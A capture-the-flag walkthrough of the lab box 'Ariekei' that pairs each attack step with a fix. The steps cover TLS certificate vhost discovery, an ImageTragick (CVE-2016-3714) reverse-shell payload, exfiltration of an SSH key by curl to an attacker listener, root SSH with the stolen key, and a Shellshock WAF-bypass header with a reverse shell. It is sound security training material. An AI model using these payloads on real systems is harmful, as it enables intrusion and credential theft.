← all walkthroughs

Ariekei

Linux· Insane
owned
2026-10-24
time to own
21m54s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Three TCP services were exposed on $TARGET — two SSH daemons on ports 22 and 1022 running different OpenSSH versions, and an nginx TLS reverse proxy on 443. The server's own TLS certificate advertised two internal virtual hosts in its Subject Alternative Names, revealing a hidden image-conversion app on calvin.ariekei.htb and a CGI-hosting server on beehive.ariekei.htb.

The image-upload endpoint on calvin.ariekei.htb fed files directly to an unpatched ImageMagick build vulnerable to the ImageTragick delegate-injection bug (CVE-2016-3714), which executed my own shell commands and produced an immediate root shell inside the calvin Docker container. From that container, I browsed a Docker bind-mount at /common shared across all site containers, discovering the internal network layout and a plaintext RSA private key at /common/.secrets/bastion_key.

Because the bastion SSH daemon permitted direct root login via public-key authentication with no additional factor, the stolen key was enough to open a root shell on port 1022 and recover the user flag. A parallel attack surface — the beehive.ariekei.htb container running a CGI endpoint backed by Shellshock-vulnerable GNU bash 4.2.37 (CVE-2014-6271) — was independently confirmed reachable after the site's Web Application Firewall was bypassed with an obfuscated payload variant.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export INTERNAL_HOST2="<another-host-reached-after-pivoting>"

Attack path — how the box was taken

1EnumerationTLS SAN-based virtual host discovery / passive certificate inspection
Discovered hidden virtual hosts via TLS certificate Subject Alternative Names
A service scan of $TARGET identified SSH on ports 22 and 1022 and nginx/TLS on 443. The HTTPS default vhost returned only a generic 'Site Maintenance' page with no links or application logic. Pulling and parsing the server's TLS certificate revealed two virtual host names in the Subject Alternative Name extension — calvin.ariekei.htb and beehive.ariekei.htb — that were not guessable from the hostname alone and would not appear in a standard directory brute-force. Registering those names in local DNS and browsing to them exposed a functioning image-conversion web application on the calvin vhost at the /upload endpoint.
Openssl x509 -ext subjectAltName returned DNS:calvin.ariekei.htb and DNS:beehive.ariekei.htb from the server's certificate.
Exact commands 4
shell

Identify open services and collect version banners for all three ports.

$ nmap -Pn -sV -p 22,443,1022 $TARGET
shell

Extract SAN entries from the live TLS certificate to discover unlisted vhosts.

$ echo | openssl s_client -connect $TARGET:443 -servername ariekei.htb 2>/dev/null | openssl x509 -noout -ext subjectAltName
shell

Register all discovered vhosts for local DNS resolution so subsequent curl/browser requests resolve correctly.

$ echo "$TARGET ariekei.htb calvin.ariekei.htb beehive.ariekei.htb" | sudo tee -a /etc/hosts
shell

Confirm the image-upload application is reachable on the calvin vhost.

$ curl -sk https://calvin.ariekei.htb/upload
FixLimit the TLS certificate scope to avoid advertising internal virtual hostsMedium
WeaknessThe public-facing TLS certificate included Subject Alternative Name entries for every virtual host on the server, including internal application vhosts (calvin.ariekei.htb, beehive.ariekei.htb) not intended to be publicly discoverable. Certificate Transparency logs make all issued SAN values permanently public and searchable, handing a complete vhost inventory to an unauthorised user before they send a single packet.
FixIssue separate certificates for public-facing and internal vhosts, or use a wildcard certificate (*.ariekei.htb) which discloses only the domain pattern rather than individual hostnames. Internal-only services should use certificates issued by a private CA that is not submitted to public CT logs. Search crt.sh for ariekei.htb now to identify all SANs already logged, and treat those hostnames as known to adversaries regardless of whether the certificate is replaced.
2ExploitationImageMagick delegate injection — CVE-2016-3714 (ImageTragick)
Executed arbitrary commands as container root via ImageTragick (CVE-2016-3714)
The /upload endpoint on calvin.ariekei.htb accepted image files and processed them with an unpatched ImageMagick release. ImageMagick's 'delegate' system constructs shell command strings from image filenames without sanitizing shell metacharacters. By crafting a malicious MVG-format file whose embedded image URL contained a closing quote, a semicolon, and a reverse-shell payload, I caused the delegate handler to execute arbitrary commands on the server the moment ImageMagick opened the file. The reverse shell returned uid=0 (root) inside the calvin Docker container, because ImageMagick ran with the container's root privileges.
Reverse-shell listener received a connection showing uid=0(root) gid=0(root) groups=0(root) on calvin.ariekei.htb.
Exact commands 3
shell

Start the reverse-shell listener on my machine before uploading the payload (run in background).

$ nc -lvnp 4444
shell

Create the ImageTragick MVG payload; replace $ATTACKER_IP with your machine's IP. IFS substitution avoids space filtering in some environments.

$ cat > /tmp/delegate.mvg <<EOF
push graphic-context
encoding "UTF-8"
viewbox 0 0 1 1
affine 1 0 0 1 0 0
push graphic-context
image Over 0,0 1,1 'https://localhost";bash\${IFS}-c\${IFS}"bash\${IFS}-i\${IFS}>%26\${IFS}/dev/tcp/'"$ATTACKER_IP"'/4444\${IFS}0>%261"'
pop graphic-context
pop graphic-context
EOF
shell

Upload the malicious MVG; ImageMagick opens it, the delegate fires, and the reverse shell connects to the listener.

$ curl -sk -F 'file=@/tmp/delegate.mvg' https://calvin.ariekei.htb/upload
FixPatch ImageMagick and lock down its delegate policyCritical
WeaknessThe calvin container ran an ImageMagick version older than 6.9.3-10, which is affected by CVE-2016-3714. Its delegate system constructs shell command strings from image filenames without sanitizing shell metacharacters, allowing an unauthorised user to inject arbitrary commands by embedding a quote and semicolon in the filename. Because the ImageMagick process ran as container root, the injected code ran with full container privileges.
FixUpgrade ImageMagick to 6.9.3-10 or 7.0.1-1 or later inside the container image and rebuild. As defence-in-depth, edit /etc/ImageMagick/policy.xml to add '<policy domain="coder" rights="none" pattern="MVG" />' and set rights="none" for the https and http URL coders so that delegate URL fetching is disabled. Run the image-processing service as a dedicated low-privilege account with no network egress and no write access outside its working directory.
3Post-ExploitationDocker bind-mount enumeration / credential discovery (T1552.001)
Enumerated the Docker shared bind-mount and mapped the internal container network
With a root shell inside the calvin container, I found /common — a Docker bind-mount made accessible to every container on the host. The directory contained per-container subdirectories holding Dockerfiles, application configs, and the WAF's nginx.conf. Reading that nginx config revealed the full internal network topology: the waf-live container reverse-proxied HTTPS traffic to the beehive container at $INTERNAL_HOST and to calvin at $INTERNAL_HOST2:8080. This gave me a complete map of the internal Docker network and, critically, identified /common/.secrets/ as a shared credential storage location.
/common/containers/waf-live/nginx.conf line 49: proxy_pass http://$INTERNAL_HOST/; line 73: proxy_pass http://$INTERNAL_HOST2:8080.
Exact commands 3
shell

List the shared bind-mount root from inside the calvin container shell to identify per-container subdirectories.

$ ls -la /common/
shell

Enumerate every file on the shared mount to locate secrets, keys, and configuration files.

$ find /common -type f 2>/dev/null
shell

Read the WAF nginx config to map internal proxy targets, backend IP addresses, and routing rules.

$ cat /common/containers/waf-live/nginx.conf
FixRemove credentials from the shared Docker bind-mount and use Docker SecretsCritical
WeaknessA Docker bind-mount at /common was read-accessible from every container on the host, including the externally exposed calvin container. An SSH private key stored in /common/.secrets/bastion_key was immediately readable by anyone who achieved code execution in any one container, completely negating the isolation that containers are meant to provide.
FixRemove all credential files from shared bind-mounts immediately and rotate the exposed bastion_key pair. Use Docker Secrets (docker secret create / --secret in Compose) to inject sensitive values at container start as an in-memory tmpfs visible only to the specific service that needs them. Audit all shared volumes for credential files, private keys, and password files; restrict shared mounts to configuration that contains no secrets and scope volume mounts as narrowly as possible.
4Credential TheftSSH private key theft from shared filesystem (T1552.004 — Private Keys)
Stole the plaintext RSA private key for bastion SSH access from the shared mount
The /common/.secrets/ directory stored an RSA private key named bastion_key alongside its matching public key bastion_key.pub. Both files were readable by the container root user. I read the private key and exfiltrated its contents to the attack host by base64-encoding the file contents and transmitting them in the URL of an outbound HTTP GET request to a waiting listener — a reliable out-of-band channel that worked even when the interactive shell had unreliable stdout.
/common/.secrets/bastion_key opened with 'BEGIN RSA PRIVATE KEY'; permissions -r--r----- root root confirmed readable from the calvin root shell.
Exact commands 4
shell

Confirm bastion_key is present and its permissions allow reading from the current shell.

$ ls -la /common/.secrets/
shell

Start an HTTP listener on my machine to receive the exfiltrated key content (run in background).

$ python3 -m http.server 23200
shell

Exfiltrate the private key via a base64-encoded GET request from the calvin shell; decode the URL path segment from listener logs to reconstruct the key file.

$ curl -s "http://$ATTACKER_IP:23200/$(cat /common/.secrets/bastion_key | base64 -w0)"
shell

After saving the decoded key locally on my machine, set correct permissions so the SSH client will accept it.

$ chmod 600 /tmp/bastion_key
5Lateral MovementSSH lateral movement with stolen private key (T1021.004)
Authenticated to the bastion host as root using the stolen SSH private key
The bastion-live SSH daemon on port 1022 was configured with PermitRootLogin without-password and PubkeyAuthentication yes, meaning any holder of the matching private key could open a root shell with no password and no second factor. I used the stolen bastion_key with legacy algorithm compatibility flags — required because the server ran old OpenSSH 6.6.1p1 with ssh-rsa as the only supported host key algorithm — and received an immediate root shell on the bastion host. The user flag was located and read during this session.
Exact commands 3
shell

Connect as root using the stolen key. The legacy algorithm flags are required for the old OpenSSH 6.6.1p1 host.

$ ssh -i /tmp/bastion_key -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostKeyAlgorithms=+ssh-rsa -p 1022 root@$TARGET
shell

Confirm root identity and verify the host is the bastion, not another container.

$ id && hostname
shell

Locate and read the user flag (value redacted: <user.txt>).

$ find / -name user.txt -maxdepth 6 2>/dev/null -exec cat {} \;
FixDisable direct root SSH login on the bastion hostCritical
WeaknessThe bastion-live sshd was configured with PermitRootLogin without-password, allowing anyone who possesses the matching private key to open a root shell with no password and no second factor. There is no audit trail linking a login to a specific human operator, and a single stolen key produces immediate unrestricted host control with no further barriers.
FixSet PermitRootLogin no in /etc/ssh/sshd_config and reload sshd (systemctl reload ssh). Create named administrator accounts and grant sudo access for tasks that require root. Rotate the compromised bastion_key immediately and move to certificate-based SSH authentication (an SSH CA) so that private keys carry an expiry date and can be revoked without editing authorized_keys on every host individually.
6Alternate VectorShellshock CGI bash injection with WAF signature bypass (CVE-2014-6271)
Bypassed the WAF filter to exploit Shellshock on the beehive CGI endpoint
Independent of the main attack chain, the beehive.ariekei.htb container hosted a /cgi-bin/stats CGI endpoint whose handler executed under GNU bash 4.2.37(1) — a version affected by Shellshock (CVE-2014-6271). The WAF in front of the site blocked the canonical function-definition syntax () { :;}; with HTTP 403. Replacing it with the obfuscated empty-function variant (){ _;}>_[$($())] evaded the WAF's signature-matching rule entirely and caused bash to execute the injected command, returning the output of /usr/bin/id as www-data in the HTTP response. This confirmed an independent, separately exploitable code-execution path into the beehive container that did not depend on the ImageTragick chain.
GNU bash version 4.2.37(1)-release confirmed on beehive via /cgi-bin/stats; obfuscated payload returned uid=33(www-data) in the response body.
Exact commands 3
shell

Standard Shellshock probe — WAF returns HTTP 403, confirming the filter is active but revealing the endpoint exists.

$ curl -sk -H 'User-Agent: () { :;}; echo; /usr/bin/id' https://beehive.ariekei.htb/cgi-bin/stats
shell

Obfuscated Shellshock payload that bypasses the WAF signature; a successful response body contains the id output as www-data.

$ curl -sk -H 'X-Test: (){ _;}>_[$($())] { echo; /usr/bin/id; }' https://beehive.ariekei.htb/cgi-bin/stats
shell

Upgrade to a reverse shell via Shellshock; replace $ATTACKER_IP and start nc -lvnp 4445 first.

$ curl -sk -H "X-Test: (){ _;}>_[$($())] { echo; bash -i >& /dev/tcp/$ATTACKER_IP/4445 0>&1; }" https://beehive.ariekei.htb/cgi-bin/stats
FixPatch bash on the beehive container and restrict CGI executionCritical
WeaknessThe beehive container's /cgi-bin/stats CGI script executed under GNU bash 4.2.37(1), a version vulnerable to Shellshock (CVE-2014-6271). The WAF's signature rule blocked the canonical exploit string but was bypassed by a trivial syntactic variation, demonstrating that a WAF rule cannot substitute for patching the underlying vulnerability in the running process.
FixUpgrade bash to 4.3 patch 25 or later (which contains the Shellshock fix) inside the beehive container image and rebuild the image. If the CGI script does not specifically require bash, rewrite it in Python or PHP, or invoke it under dash (which is not affected). Remove any CGI scripts that serve no active production purpose; restrict the /cgi-bin/ directory to only explicitly required scripts via Apache or nginx configuration. Treat WAF rule updates as defence-in-depth only, not as a primary control.

Attack patterns used

The transferable techniques behind this compromise.

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Exposed services

22/tcp
443/tcp
1022/tcp